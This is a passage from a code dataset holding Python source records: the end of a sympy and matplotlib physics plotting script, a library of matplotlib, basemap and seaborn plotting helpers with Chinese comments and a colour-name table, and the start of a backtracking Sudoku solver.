parser.add_argument('--simplify', action='store_true',\n        help=\"Call sympy.simplify.  Takes about 2 minutes.\")\n    parser.add_argument('--test', action='store_true')\n    args = parser.parse_args(argv)\n    \n    if args.eric == 'show' or args.f_n == 'show':\n        assert args.eric == 'show' or args.eric == None\n        assert args.f_n == 'show' or args.f_n == None\n        mpl.use('Qt4Agg', warn=False)\n    else:\n        mpl.use('PDF', warn=False)\n    import matplotlib.pyplot as plt  # must be after mpl.use\n    mpl.rcParams.update(params)\n\n    if args.test:\n        print('No testing defined here')\n        return 0\n    s = sym()\n    if args.latex != None:\n        c = 'abcd'\n        f = open(args.latex,'w')\n        for i in range(1,len(s.h)):\n            for q in 'h g'.split():\n                r = sympy.latex(getattr(s,q)[i].simplify())\n                f.write('\\\\newcommand{\\\\%s%c}{%s}\\n\\n'%(q,c[i],r))\n        for q in 'Eh Eg Sigmahh Sigmahg Sigmagg'.split():\n            if args.simplify:\n                r = sympy.latex(getattr(s,q).simplify())\n            else:\n                r = sympy.latex(getattr(s,q))\n            f.write('\\\\newcommand{\\\\%s}{%s}\\n\\n'%(q,r))\n    for filename, function in ((args.eric, eric), (args.f_n, f_n)):\n        \n        if filename != None:\n            fig = function(args,s,plt)\n            if filename == 'show':\n                plt.show()\n            else:\n                fig.savefig( open(filename, 'wb'), format='pdf')\n\n    return 0\n\nif __name__ == \"__main__\":\n    rv = main()\n    sys.exit(rv)\n\n#---------------\n# Local Variables:\n# mode: python\n# End:\n","repo_name":"fraserphysics/metfie","sub_path":"eric.py","file_name":"eric.py","file_ext":"py","file_size_in_byte":10149,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"74464800054","text":"\"\"\"\n\n    matplotlib.colors: https://matplotlib.org/tutorials/colors/colormapnorms.html\n\"\"\"\n\nimport matplotlib.pyplot as plt\nimport matplotlib\nfrom matplotlib import collections\nimport matplotlib.image as mpimg\nimport numpy as np\nimport pandas as pd\n#from mpl_toolkits.basemap import Basemap\nfrom matplotlib.patches import Polygon\nimport seaborn as sns\n#from colour import Color\nfrom collections import namedtuple  \n\nfrom shapely.geometry import Point, LineString\nfrom descartes import PolygonPatch\n#import geoplot as gplt\n\n#from matplotlib import colors as mcolors\n\n\nfrom pylab import mpl  \nmpl.rcParams['font.sans-serif'] = ['SimHei'] \n\nplt.rcParams['axes.unicode_minus']=False #用来正常显示负号\n\nclass Colorbar:\n    def __init__(self,list_values,fromColor=\"white\",toColor=\"red\",n=5):\n        \"\"\"\n            list_values: a list of values\n            n: the number of colors/ value intervals.\n        \"\"\"\n        f, t = Color(fromColor), Color(toColor)\n        self.colorbar = list(f.range_to(t,n+1))\n        sorted_values = sorted(list_values)    # 升序，小到大\n        self.split_values = [sorted_values[round(len(sorted_values)/n*i)] for i in range(1,n)] + [max(list_values)] ## 排序等分 一个列表切了几刀\n\n    def get_color(self, value):\n        for i, v in enumerate(self.split_values):\n            if value<=v:\n                return str(self.colorbar[i+1])\n\n###############################################################################\n## 1. basemap画图相关     https://matplotlib.org/basemap/\ndef plot_map(lons, lats, text=None, shp_file=None):\n    (fx, fy) = (900, 600)\n    my_dpi = 150\n    fig = plt.figure(figsize=(fx / my_dpi, fy / my_dpi), dpi=my_dpi)\n    # 中国大部\n    m = Basemap(llcrnrlon=80.33,\n                  llcrnrlat=13.01,\n                  urcrnrlon=138.16,\n                  urcrnrlat=56.123,\n                 resolution='l', projection='tmerc',\n                lat_0 = 42.5,lon_0=120,)\n    if shp_file:\t\t\t\n        shp_info = m.readshapefile(shp_file,'states',drawbounds=True) # CHN_adm1的数据是中国各省区域\n\t\t\t\t\n    m.drawcoastlines(linewidth=0.5)\n    m.drawcountries(linewidth=0.5)\n    # 画出国境线（描边）\n    #m.fillcontinents(color='y',lake_color='aqua') #\n    # 填充大陆, 大陆颜色为珊瑚色， 湖泊颜色为水色\n    #m.drawmapboundary(fill_color=\"#bee6fa\")\n    m.drawcounties()\n    m.shadedrelief() #etopo绘制地形图，shadedrelief是浮雕图，默认是空白轮廓图\n    # 画点\n    xpt, ypt = m(lons, lats)  # 投影方式决定的，需要转换\n    # m.scatter(xpt,ypt)#,'bo',s=3)\n    m.scatter(xpt, ypt, c='black', s=5,zorder=4)\n    plt.subplots_adjust(left=0, bottom=0, right=1, top=1,hspace=0.1,wspace=0.1)#左下为0右上为1时绘图区全屏\n    if text:\n        for i in range(len(text)):\n            plt.text(xpt[i], ypt[i], text[i], fontsize=6, color='black', horizontalalignment=\"center\",\n                     verticalalignment=\"center\", weight=\"normal\", stretch=\"normal\",\n                     bbox=dict(facecolor=\"yellow\", edgecolor='k', boxstyle='round', alpha=0.6, linewidth=0.1),\n                     clip_on=True)\n            #plt.text(xpt[i], ypt[i], text[i], fontsize='small') # xx-small\n    return m\n    \"\"\"\n    # nylat, nylon are lat/lon of New York\n    nylat = 40.78; nylon = -73.98\n    # lonlat, lonlon are lat/lon of London.\n    lonlat = 51.53; lonlon = 0.08\n    # draw great circle route between NY and London\n    m.drawgreatcircle(nylon,nylat,lonlon,lonlat,linewidth=2,color='b')\n    \"\"\"\n\ndef plotLine(m,lon1,lat1,lon2,lat2,color=\"blue\",lwd=0.5,lty=\"-\",alpha=0.5,linewidth=0.15):\n    # 两地之间画线\n\tlats=[lat1,lat2]\n\tlons=[lon1,lon2]\n\tx, y = m(lons,lats)\n    #x, y = lons,lats\n\tmtext=plt.Line2D(x,y, linewidth=linewidth,zorder=1, linestyle=lty,color=color,alpha=alpha)\n\tplt.gcf().gca().add_artist(mtext)\n\ndef plot_plot(m, list_x, list_y,color='blue',alpha=1,linewidth=0.2):\n    \"\"\" basemap上画线\n    \"\"\"\n    list_x, list_y = m(list_x,list_y)\n    l1 = plt.plot(list_x,list_y,c=color,zorder=4, alpha=alpha,linewidth=linewidth)\n    #plt.legend(handles=[l1],labels=['up'],loc='best')\n\ndef plot_From_Locations(list_locs,s=1,fpath=None,x=1200,y=900,dpi=150,shp_file=None,m=None,color='r',marker='.',bbox=None):\n    \"\"\"输入：一系列坐标点的列表\n    给定fpath则保存图片到文件, s为散点的大小\n    bbox: 显示范围: min_lon, max_lon, min_lat, max_lat\n    \"\"\"\n    lons = [lon for lon,lat in list_locs]\n    lats = [lat for lon,lat in list_locs]\n    max_lon, min_lon = max(lons)+0.5, min(lons)-0.5 # margin 0.5\n    max_lat, min_lat = max(lats)+0.5, min(lats)-0.5\n    print(max_lon, min_lon, max_lat, min_lat)\n    if bbox:\n        min_lon, max_lon = bbox[0],bbox[1]\n        min_lat, max_lat = bbox[2],bbox[3]        \n    \n    #min_lon, max_lon = -7,2#-10,28\n    #min_lat, max_lat = 50,58#35,65\n    centlon,centlat=min_lon+(max_lon-min_lon)/2,min_lat+(max_lat-min_lat)/2 \n    if not m:  ### 给定m的情况下可以沿着之前画过的图继续画\n        (fx, fy) = (x, y)\n        my_dpi = dpi\n        fig = plt.figure(figsize=(fx / my_dpi, fy / my_dpi), dpi=my_dpi)\n        m = Basemap(\n            lon_0=centlon,lat_0=centlat,lat_ts=centlat,\n            llcrnrlon = min_lon,\n            llcrnrlat = min_lat,\n            urcrnrlon = max_lon,\n            urcrnrlat = max_lat, projection='tmerc',\n            rsphere=6371200., resolution='l',epsg=4326)\n#    m = Basemap(\n#            lat_0 = 42.5,lon_0=120,\n#            llcrnrlon=80.33,\n#            llcrnrlat=13.01,\n#            urcrnrlon=138.16,\n#            urcrnrlat=56.123,\n#            rsphere=6371200., resolution='l',epsg=4326\n#            )\n#    m.fillcontinents(color='#D3D3D3',lake_color='#AFEEEE') #  'lightblue':            '#ADD8E6',\n    # 填充大陆, 大陆颜色为珊瑚色， 湖泊颜色为水色\n#    m.drawmapboundary(fill_color=\"#bee6fa\")\n    if shp_file:\t\t\t\n        shp_info = m.readshapefile(shp_file,'states',drawbounds=True) # CHN_adm1的数据是中国各省区域\n\n    m.drawcoastlines(linewidth=0.25)\n    m.drawcountries(linewidth=0.25)\n    #m.shadedrelief() #etopo绘制地形图，shadedrelief是浮雕图，默认是空白轮廓图\n#    plt.scatter(lons,lats, color=color,zorder=3,s=s,marker=marker) #\n    # 下边还可以扩展画连边\n\n    # 还可以选择是保存还是显示\n    if fpath:\n        plt.savefig(fpath+'.png',dpi=300) # 指定分辨率\n        plt.close()\n        return 0\n    else:\n        #plt.show()\n        #pass  # 不显示的话之后还可以继续画线什么的\n        return m\n\ndef wordmap(lons, lats, text=None):\n    (fx, fy) = (900, 600)\n    my_dpi = 150\n    fig = plt.figure(figsize=(fx / my_dpi, fy / my_dpi), dpi=my_dpi)\n    ax = fig.add_subplot(1, 1, 1)\n    # setup mercator map projection.\n    m = Basemap(#llcrnrlon=-180.,\n                #llcrnrlat=-60.,\n                #urcrnrlon=180.,\n                #urcrnrlat=90.,\n                #rsphere=(6378137.00, 6356752.3142),\n                resolution='l',\n                lat_0=0., lon_0=0., lat_ts=0.,\n                projection='robin',\n                )\n    m.drawcoastlines(linewidth=0.5)\n    m.fillcontinents()\n    #m.drawmapboundary(fill_color=\"#bee6fa\")\n    # draw parallels\n    m.drawparallels(np.arange(-90, 90, 30), labels=[1, 1, 0, 1])\n    # draw meridians\n    m.drawmeridians(np.arange(-180, 180, 60), labels=[1, 1, 0, 1])\n    m.shadedrelief() #etopo绘制地形图，shadedrelief是浮雕图，默认是空白轮廓图\n    \n    lons,lats = m(lons,lats)\n    \n    m.scatter(lons, lats, s=1, zorder=3,c='red')\n    if text:\n        for i in range(len(text)):\n            plt.text(lons[i], lats[i], text[i], fontsize='small') # xx-small\n\ndef plot_Linestrings(list_linestring, list_values=None):\n    \"\"\" 由 Linestring(shapely对象)列表 画图\n    \"\"\"\n    def plot_line(ax, linestring,c='black'):\n        x, y = linestring.xy\n        ax.plot(x, y, color=c, linewidth=0.5, solid_capstyle='round', zorder=1)\n\n    (fx, fy) = (900, 600)\n    my_dpi = 150\n    if list_values!=None: \n        colors = Colorbar(list_values=list_values)\n\n    fig = plt.figure(figsize=(fx / my_dpi, fy / my_dpi), dpi=my_dpi)    \n    ax = fig.add_subplot(111)\n    for i,line in enumerate(list_linestring):\n        c=colors.get_color(list_values[i]) if list_values!=None else 'black'\n        plot_line(ax,line,c=c)\n        #dilated = line.buffer(0.0001)\n        #patch1 = PolygonPatch(dilated, fc='blue', ec='blue', alpha=0.5, zorder=2)\n        #ax.add_patch(patch1)\n\n\ndef plot_lines(list_lines, ax=None, list_values=None,colors=None):\n    \"\"\" 使用LineCollection高效地画线\n        list_lines: a list of ((lon1,lat1), (lon2,lat2))\n        list_values: 根据值分配线段的颜色\n    \"\"\"\n    if not colors:\n        if list_values:\n            colobar = Colorbar(list_values=list_values)  #生成色棒 \n        colors = [colobar.get_color(v) for v in list_values] if list_values!=None else ['grey']*len(list_lines)\n    \n    if not ax:\n        (fx, fy) = (12,7.5)\n        my_dpi=100\n        fig,ax=plt.subplots(1,1,figsize=(fx,fy),dpi=my_dpi)  \n    lc = collections.LineCollection(list_lines, colors=colors, linewidths=0.8, alpha=0.5)\n    ax.add_collection(lc)\n    #ax.set_xlim(75,135)\n    #ax.set_ylim(15,55)\n    #plt.show()\n    return ax\n   \n###############################################################################\n## seaborn画图相关\ndef sns_setting(style=\"darkgrid\",xlabel=None,ylabel=None,fx=900,fy=600,my_dpi=150):\n    sns.set(style=style)\n    (fx, fy) = (900, 600)\n    my_dpi = 150\n    fig = plt.figure(figsize=(fx / my_dpi, fy / my_dpi), dpi=my_dpi)\n    ax = fig.add_subplot(1, 1, 1)\n    if xlabel:\n        ax.set_xlabel(xlabel)\n    if ylabel:\n        ax.set_ylabel(ylabel,fontsize=15)\n    #return ax\n\n\ndef barplotFromDict(dictData,n=None,x=1200,y=600,dpi=150,xlabel=None,ylabel=None,label=None,reverse=True,color='r',alpha=1,sort=True,fpath=None):\t\n    # 画条形图；dictData是一个字典，键是条的名称，值是条的值\n    # n:如果数据较多，可以选择只画前n项\n    (fx,fy)=(x,y)\n    my_dpi=dpi\n    fig=plt.figure(figsize=(fx/my_dpi, fy/my_dpi), dpi=my_dpi)\n    #ax = fig.add_subplot(1,1,1)\n    if sort:\n        sorted_dictData = sorted(dictData.items(),key=lambda item:item[1],reverse=reverse)\n    else:\n        sorted_dictData = dictData.items()\n    if n:\n        sorted_dictData = sorted_dictData[:n+1]\n    keys = [k for k,v in sorted_dictData] # keys 是横轴显示的文本\n    values = [v for name,v in sorted_dictData] # values是数据\n    rects=plt.bar(range(len(values)), values, color=color,alpha=alpha,label=label)\n    index=list(range(len(values)))\n    index=[float(c) for c in index]\n    plt.xticks(index,keys, rotation=90)\n    if xlabel:\n        plt.xlabel(xlabel)# X轴标题\n    if ylabel:\n        plt.ylabel(ylabel)\n\n    # 还可以选择是保存还是显示\n    if fpath:\n        plt.savefig(fpath+'.png',dpi=my_dpi,bbox_inches = 'tight') # 指定分辨率\n        plt.close()\n        return 0\n\n\n\n\ndef distplot(list_data,label=None,axlabel=None,bins=None):\n    sns.distplot(list_data,bins=bins, hist = True, kde = True, \n                rug = False, vertical = False,\n                color = 'b', label = label, axlabel = axlabel)\n    #plt.legend()        \n\n\ndef jointplotFromLists(list1,list2,list1Name,list2Name,kind='reg',x=900,y=600,dpi=150):\n    (fx,fy)=(x,y)\n    my_dpi=dpi\n    fig=plt.figure(figsize=(fx/my_dpi, fy/my_dpi), dpi=my_dpi)\n    df = pd.DataFrame(list(zip(list1,list2)),columns=[list1Name,list2Name])\n    sns.jointplot(x=df[list1Name], y=df[list2Name], #设置xy轴，显示columns名称\n                  data = df,  #设置数据\n                  #color = 'b', #设置颜色\n                  #s = 50, edgecolor = 'w', linewidth = 1,#设置散点大小、边缘颜色及宽度(只针对scatter)\n                  #stat_func=sci.pearsonr,\n                  kind = kind,#设置类型：'scatter','reg','resid','kde','hex'\n                  #stat_func=<function pearsonr>,\n                  space = 0.1, #设置散点图和布局图的间距\n                  size = 6, #图表大小(自动调整为正方形))\n                  ratio = 5, #散点图与布局图高度比，整型\n                  marginal_kws = dict(bins=15, rug =False), #设置柱状图箱数，是否设置rug\n                  )\n\n\n\n###############################################################################\n## geoplot画图相关\n##### 画城市人口数 可用\n#import geoplot as gplt\n#import geoplot.crs as gcrs\n#gplt.choropleth(\n#    gdf_population, hue='Population', projection=gcrs.AlbersEqualArea(),\n#    edgecolor='white', linewidth=1,\n#    cmap='Greens', legend=True,\n##    scheme='fisherjenks',\n##    legend_labels=[\n##        '<3 million', '3-6.7 million', '6.7-12.8 million',\n##        '12.8-25 million', '25-37 million'\n##    ]\n#)\n\n\n######   画凸包的\nPoint = namedtuple('Point', 'x y')\nclass ConvexHull(object):\n    def __init__(self):\n        self._points = []\n        self._hull_points = []\n\n    def _add(self, point):\n        self._points.append(point)\n\n    def add_list(self, list_x, list_y):\n        \"\"\" 以列表形式一次性添加数据\n            list_x: x坐标的列表\n            list_y: y坐标的列表\n        \"\"\"\n        for i in range(len(list_x)):\n            self._add(Point(list_x[i], list_y[i]))\n\n    def _get_orientation(self, origin, p1, p2):\n        '''\n        Returns the orientation of the Point p1 with regards to Point p2 using origin.\n        Negative if p1 is clockwise of p2.\n        :param p1:\n        :param p2:\n        :return: integer\n        '''\n        difference = (\n            ((p2.x - origin.x) * (p1.y - origin.y))\n            - ((p1.x - origin.x) * (p2.y - origin.y))\n        )\n\n        return difference\n\n    def compute_hull(self):\n        '''\n        Computes the points that make up the convex hull.\n        :return:\n        '''\n        points = self._points\n\n        # get leftmost point\n        start = points[0]\n        min_x = start.x\n        for p in points[1:]:\n            if p.x < min_x:\n                min_x = p.x\n                start = p\n\n        point = start\n        self._hull_points.append(start)\n\n        far_point = None\n        while far_point is not start:\n            # get the first point (initial max) to use to compare with others\n            p1 = None\n            for p in points:\n                if p is point:\n                    continue\n                else:\n                    p1 = p\n                    break\n\n            far_point = p1\n\n            for p2 in points:\n                # ensure we aren't comparing to self or pivot point\n                #if p2 is point or p2 is p1:\n                if any([p2 is point, p2 is p1]):\n                    continue\n                else:\n                    direction = self._get_orientation(point, far_point, p2)\n                    if direction > 0:\n                        far_point = p2\n\n            self._hull_points.append(far_point)\n            point = far_point\n\n    def get_hull_points(self):\n        if self._points and not self._hull_points:\n            self.compute_hull()\n\n        return self._hull_points\n\n    def display(self, s=0.2, texts=None,xlabel=\"\",ylabel=\"\",fpath=None):\n        \"\"\" 显示所有的散点，突出显示凸包\n            texts: 可选地给定散点的文本信息\n        \"\"\"\n        # all points\n        (fx, fy) = (900, 600)\n        my_dpi = 100\n        fig = plt.figure(figsize=(fx / my_dpi, fy / my_dpi), dpi=my_dpi)\n\n        x,y = zip(*self._points)\n        plt.scatter(x, y, marker='D', linestyle='None', s=s)  # 画所有的点\n        # hull points\n        hx,hy = zip(*self._hull_points)  # 画凸包点\n        plt.plot(hx, hy,c='red')\n        #plt.title('Convex Hull')\n        #plt.show()\n        ### 上述是基本的散点和凸包线的绘制，为了更加生动，下面提供的是凸包点及其文本信息\n        hull_ps  = self._hull_points[:-1]\n        for i in range(len(hull_ps)):\n            plt.scatter(hull_ps[i].x,hull_ps[i].y, marker='D', linestyle='None', c='red') # 凸包散点\n        if texts: # 如果有文本信息\n            for p in hull_ps:\n                idx = self._points.index(p)  # 找该点在列表中的索引号\n                plt.text(p.x,p.y,texts[idx],fontsize=14)\n\n        #plt.plot([min(x),max(x)],[min(x),max(x)])  #### 画参考线\n        #plt.xlabel('$t_{ij} (mins)$',fontsize=12)\n        #plt.ylabel(r'$log(w_{ij}/\\left (C N_{i}^{\\alpha}N_{j}^{\\beta} \\right ))$',fontsize=12)\n        plt.xlabel(xlabel)\n        plt.ylabel(ylabel)\n        #plt.xlim(0,150 )\n        #plt.ylim(0,100)   \n        if fpath:\n            plt.savefig(fpath+'.png',dpi=100) # 指定分辨率\n            plt.close()\n            return 0\n        else:\n            #plt.show()\n            #pass  # 不显示的话之后还可以继续画线什么的\n            plt.show()\n\n\n###############################################################################\n### 加colorbar的散点图\ndef scatter_with_colorbar(list_x,list_y, list_value, s=3, vmin=None, vmax=None, marker='s'):\n    cm = plt.cm.get_cmap('RdYlBu')\n    vmax=vmax if vmax else max(list_value)\n    vmin=vmin if vmin else min(list_value)\n    sc = plt.scatter(list_x, list_y, c=list_value, vmin=vmin, vmax=vmax, s=s, cmap=cm,zorder=2,marker=marker,alpha=0.9)\n    plt.colorbar(sc)\n\n    \n#####################################################################################\nclass ImPlot:\n    def __init__(self,file=None,region='China'):\n        self.setting(region)\n        self.baseboard = mpimg.imread(file) if file else None\n        self.array = None\n    \n    def setting(self,region='China'):\n        fig, self.ax=plt.subplots(1,1,figsize=(6,6),dpi=150)\n        if region=='China':\n            self.extent=(73.4997347, 134.7754563, 17.7, 53.560815399999996)  # x0,x1,y0,y1\n        elif region=='Europe':\n            self.extent=(-10.5575303,40.227580100000004, 34.0,71.3848787 )  ## (34.0, -10.5575303, 71.3848787, 40.227580100000004) \n        self.ax.set_xlim(self.extent[0], self.extent[1])  # 中国大陆\n        self.ax.set_ylim(self.extent[2], self.extent[3])    \n        self.ax.axis('equal')\n        self.ax.axis('off')\n   \n    def load_polygon(self, lons, lats, facecolor='red', edgecolor='k'):\n        \"\"\"  加载多边形\n            要求输入的数据格式为：\n            lons: 一个lon列表\n            lats:一个lats列表\n        \"\"\"\n        for i in range(len(lats)):\n            self.ax.fill(eval(lons[i]),eval(lats[i]),facecolor=\"red\",edgecolor=\"k\",alpha=1.0, linewidth=0.1)\n            \n    def load_array(self, array, extent):\n        \"\"\" 加载array,\n            extent: 设定边界范围 [minx,maxx,miny,maxy]  例如: [90,120,30,45] \n        \"\"\"\n        self.array = np.ma.masked_where(array<0.005,array) ## 掩码数组\n        self.array_extent = extent\n    \n    def plot_points(self, x,y,marker='x',color='red',alpha=0.5,s=2,text=None):\n        \"\"\"画点，可以是多个点\n        \"\"\"\n        plt.scatter(x,y,zorder=4, alpha=alpha,s=s,facecolors=color, edgecolors=color,marker=marker)\n        if text: ## 如果给定了点的名字，加入名字\n            for i in range(len(text)):\n                plt.text(x[i]+0.3, y[i], text[i]) # xx-small            , fontsize='small'\n\n    def plot_line(self, x,y, color=\"blue\",alpha=1,linewidth=1):\n        \"\"\"画线\n        \"\"\"\n        plt.plot(x,y,color=color,alpha=alpha, linewidth=linewidth )\n      \n        \n    def imshow(self, fpath=None, extent=None):\n        if isinstance(self.baseboard,np.ndarray):\n            self.ax.imshow(self.baseboard,extent=self.extent, alpha=1)\n        if isinstance(self.array, np.ma.core.MaskedArray):\n            img = self.ax.imshow(self.array, extent=self.array_extent, \n                  origin='lower', interpolation='None', \n                  cmap='viridis',alpha=0.9,zorder=1,\n                  norm=matplotlib.colors.LogNorm(vmin=0.1, vmax=np.max(self.array)),\n                  #norm=matplotlib.colors.PowerNorm(gamma=0.5),  # 0.5\n                 aspect='auto')  ## interpolation=\"bicubic\" # 'viridis'\n            plt.colorbar(img, orientation='vertical')\n#        if isinstance(self.array2, np.ndarray):\n#            img = self.ax.imshow(self.array2, extent=self.array2_extent, \n#                  origin='lower', interpolation='None', \n#                  alpha=0.9,zorder=4,  ## cmap='viridis',\n#                  norm=matplotlib.colors.PowerNorm(gamma=0.5),\n#                 aspect='auto')  ## interpolation=\"bicubic\" # 'viridis'\n##\n#\n        if extent:    ## 有手动设置的边界\n            self.ax.set_xlim(extent[0], extent[1])\n            self.ax.set_ylim(extent[2], extent[3])          \n        \n        if fpath:\n            plt.savefig(fpath+'.png',dpi=100) # 指定分辨率\n            plt.close()\n            return 0\n        else:\n            #plt.show()\n            #pass  # 不显示的话之后还可以继续画线什么的\n            plt.show()\n\n### 3D plot\n# fig = plt.figure()\n# ax = fig.gca(projection='3d')\n# X = np.arange(0,500,1)\n# Y = np.arange(0,500,1)\n# X,Y = np.meshgrid(X,Y)\n# # Plot the surface.\n# surf = ax.plot_surface(X, Y, Q, cmap=cm.coolwarm,\n#                        linewidth=0, antialiased=False)\n# # Customize the z axis.\n# ax.set_zlim(-1.01, 1.01)\n# ax.zaxis.set_major_locator(LinearLocator(10))\n# ax.zaxis.set_major_formatter(FormatStrFormatter('%.02f'))\n# # Add a color bar which maps values to colors.\n# fig.colorbar(surf, shrink=0.5, aspect=5)\n# plt.show()\n\n\n######################################################\n# 通过组合这些简单的颜色、线型，可以满足基本的作图需求\ncolors = ['b','g','r','c','m','y','k',]  # 简单的颜色\nlinestyles = ['-','--','-.',':']  # plt.plot的线型\n# 点型\nmarkers = [',', 'o', '^', 'v', '<', '>', 's', '+', 'x', 'D', 'd', ## 's' 是方块\n    '1','2', '3','4',  # 三脚架朝上下左右\n    'h', 'H','p',  # 六角形五角形\n     '|', '_']  # 垂线水平线\n\n#colors = dict(mcolors.BASE_COLORS, **mcolors.CSS4_COLORS)  ### 这里边有足够数量的颜色可供使用\n#\n## Sort colors by hue, saturation, value and name.\n#by_hsv = sorted((tuple(mcolors.rgb_to_hsv(mcolors.to_rgba(color)[:3])), name)\n#                for name, color in colors.items())\n#colors = list(colors.keys())\n\n# Have colormaps separated into categories:  \n# http://matplotlib.org/examples/color/colormaps_reference.html \ncnames = {\n'aliceblue':            '#F0F8FF',\n'antiquewhite':         '#FAEBD7',\n'aqua':                 '#00FFFF',\n'aquamarine':           '#7FFFD4',\n'azure':                '#F0FFFF',\n'beige':                '#F5F5DC',\n'bisque':               '#FFE4C4',\n'black':                '#000000',\n'blanchedalmond':       '#FFEBCD',\n'blue':                 '#0000FF',\n'blueviolet':           '#8A2BE2',\n'brown':                '#A52A2A',\n'burlywood':            '#DEB887',\n'cadetblue':            '#5F9EA0',\n'chartreuse':           '#7FFF00',\n'chocolate':            '#D2691E',\n'coral':                '#FF7F50',\n'cornflowerblue':       '#6495ED',\n'cornsilk':             '#FFF8DC',\n'crimson':              '#DC143C',\n'cyan':                 '#00FFFF',\n'darkblue':             '#00008B',\n'darkcyan':             '#008B8B',\n'darkgoldenrod':        '#B8860B',\n'darkgray':             '#A9A9A9',\n'darkgreen':            '#006400',\n'darkkhaki':            '#BDB76B',\n'darkmagenta':          '#8B008B',\n'darkolivegreen':       '#556B2F',\n'darkorange':           '#FF8C00',\n'darkorchid':           '#9932CC',\n'darkred':              '#8B0000',\n'darksalmon':           '#E9967A',\n'darkseagreen':         '#8FBC8F',\n'darkslateblue':        '#483D8B',\n'darkslategray':        '#2F4F4F',\n'darkturquoise':        '#00CED1',\n'darkviolet':           '#9400D3',\n'deeppink':             '#FF1493',\n'deepskyblue':          '#00BFFF',\n'dimgray':              '#696969',\n'dodgerblue':           '#1E90FF',\n'firebrick':            '#B22222',\n'floralwhite':          '#FFFAF0',\n'forestgreen':          '#228B22',\n'fuchsia':              '#FF00FF',\n'gainsboro':            '#DCDCDC',\n'ghostwhite':           '#F8F8FF',\n'gold':                 '#FFD700',\n'goldenrod':            '#DAA520',\n'gray':                 '#808080',\n'green':                '#008000',\n'greenyellow':          '#ADFF2F',\n'honeydew':             '#F0FFF0',\n'hotpink':              '#FF69B4',\n'indianred':            '#CD5C5C',\n'indigo':               '#4B0082',\n'ivory':                '#FFFFF0',\n'khaki':                '#F0E68C',\n'lavender':             '#E6E6FA',\n'lavenderblush':        '#FFF0F5',\n'lawngreen':            '#7CFC00',\n'lemonchiffon':         '#FFFACD',\n'lightblue':            '#ADD8E6',\n'lightcoral':           '#F08080',\n'lightcyan':            '#E0FFFF',\n'lightgoldenrodyellow': '#FAFAD2',\n'lightgreen':           '#90EE90',\n'lightgray':            '#D3D3D3',\n'lightpink':            '#FFB6C1',\n'lightsalmon':          '#FFA07A',\n'lightseagreen':        '#20B2AA',\n'lightskyblue':         '#87CEFA',\n'lightslategray':       '#778899',\n'lightsteelblue':       '#B0C4DE',\n'lightyellow':          '#FFFFE0',\n'lime':                 '#00FF00',\n'limegreen':            '#32CD32',\n'linen':                '#FAF0E6',\n'magenta':              '#FF00FF',\n'maroon':               '#800000',\n'mediumaquamarine':     '#66CDAA',\n'mediumblue':           '#0000CD',\n'mediumorchid':         '#BA55D3',\n'mediumpurple':         '#9370DB',\n'mediumseagreen':       '#3CB371',\n'mediumslateblue':      '#7B68EE',\n'mediumspringgreen':    '#00FA9A',\n'mediumturquoise':      '#48D1CC',\n'mediumvioletred':      '#C71585',\n'midnightblue':         '#191970',\n'mintcream':            '#F5FFFA',\n'mistyrose':            '#FFE4E1',\n'moccasin':             '#FFE4B5',\n'navajowhite':          '#FFDEAD',\n'navy':                 '#000080',\n'oldlace':              '#FDF5E6',\n'olive':                '#808000',\n'olivedrab':            '#6B8E23',\n'orange':               '#FFA500',\n'orangered':            '#FF4500',\n'orchid':               '#DA70D6',\n'palegoldenrod':        '#EEE8AA',\n'palegreen':            '#98FB98',\n'paleturquoise':        '#AFEEEE',\n'palevioletred':        '#DB7093',\n'papayawhip':           '#FFEFD5',\n'peachpuff':            '#FFDAB9',\n'peru':                 '#CD853F',\n'pink':                 '#FFC0CB',\n'plum':                 '#DDA0DD',\n'powderblue':           '#B0E0E6',\n'purple':               '#800080',\n'red':                  '#FF0000',\n'rosybrown':            '#BC8F8F',\n'royalblue':            '#4169E1',\n'saddlebrown':          '#8B4513',\n'salmon':               '#FA8072',\n'sandybrown':           '#FAA460',\n'seagreen':             '#2E8B57',\n'seashell':             '#FFF5EE',\n'sienna':               '#A0522D',\n'silver':               '#C0C0C0',\n'skyblue':              '#87CEEB',\n'slateblue':            '#6A5ACD',\n'slategray':            '#708090',\n'snow':                 '#FFFAFA',\n'springgreen':          '#00FF7F',\n'steelblue':            '#4682B4',\n'tan':                  '#D2B48C',\n'teal':                 '#008080',\n'thistle':              '#D8BFD8',\n'tomato':               '#FF6347',\n'turquoise':            '#40E0D0',\n'violet':               '#EE82EE',\n'wheat':                '#F5DEB3',\n'white':                '#FFFFFF',\n'whitesmoke':           '#F5F5F5',\n'yellow':               '#FFFF00',\n'yellowgreen':          '#9ACD32'}\n","repo_name":"YI-Pengfei/PythonSharedFunctions","sub_path":"lib_plot.py","file_name":"lib_plot.py","file_ext":"py","file_size_in_byte":27325,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"37036738245","text":"from pprint import pprint\n\n\n\ndef find_next_empty(puzzle):\n    # Finds the next row, col on the puxxle that's not filled yet ----> rep with -1\n    # Return row,col tuple (or (None, None) if there is none)\n\n    # Using 0-8 for our indices\n    for r in range(9):\n        for c in range(9): #range(9) is 0,1,2, .... 8\n            if puzzle[r][c] == -1:\n                return r,c \n        \n    \n    return None, None # if no spaces in puzzle are empty (-1)\n\ndef is_vaild(puzzle, guess, row, col):\n    # Figures out whether the guess at the row/col of the puzzle is a valid guess\n    # Returns True if is valid, false otherwise\n\n    row_vals = puzzle[row]\n    if guess in row_vals:\n        return False\n\n    # now the column\n    col_vals = [puzzle[i][col] for i in range(9)]\n    if guess in col_vals:\n        return False\n\n    # Square matrix\n    row_start = (row // 3) * 3\n    col_start = (col // 3) * 3\n\n    for r in range(row_start, row_start + 3):\n        for c in range(col_start, col_start +3):\n            if puzzle[r][c] == guess:\n                return False\n\n    # If all cases pass return True\n    return True\n\ndef solve_sudoku(puzzle):\n    # Solve sudoku using Backtracking\n    # Our puzzle is a list of lists, where each inner list is a row in our sudoku puzzle\n    # Return whether a solution exists \n    # mutates puzzle to be the solution (if solution exists)\n\n    # Step 1: Choose somewhere on the puzzle to make a guess\n    row, col = find_next_empty(puzzle)\n\n    # Step 1.1: if there is nowhere left, then we're done beacuse we only allowed valid inputs\n    if row is None:\n        return True\n\n    # step 2: if there is a place to put a number, then make a guess between 1 and 9\n    for guess in range(1, 10): # range(1, 10) is 1,2,3, ...9\n        # step 3: Check if this a vaild guess\n        if is_vaild(puzzle, guess, row, col):\n            # Step 3.1 If this guess is valid place guess 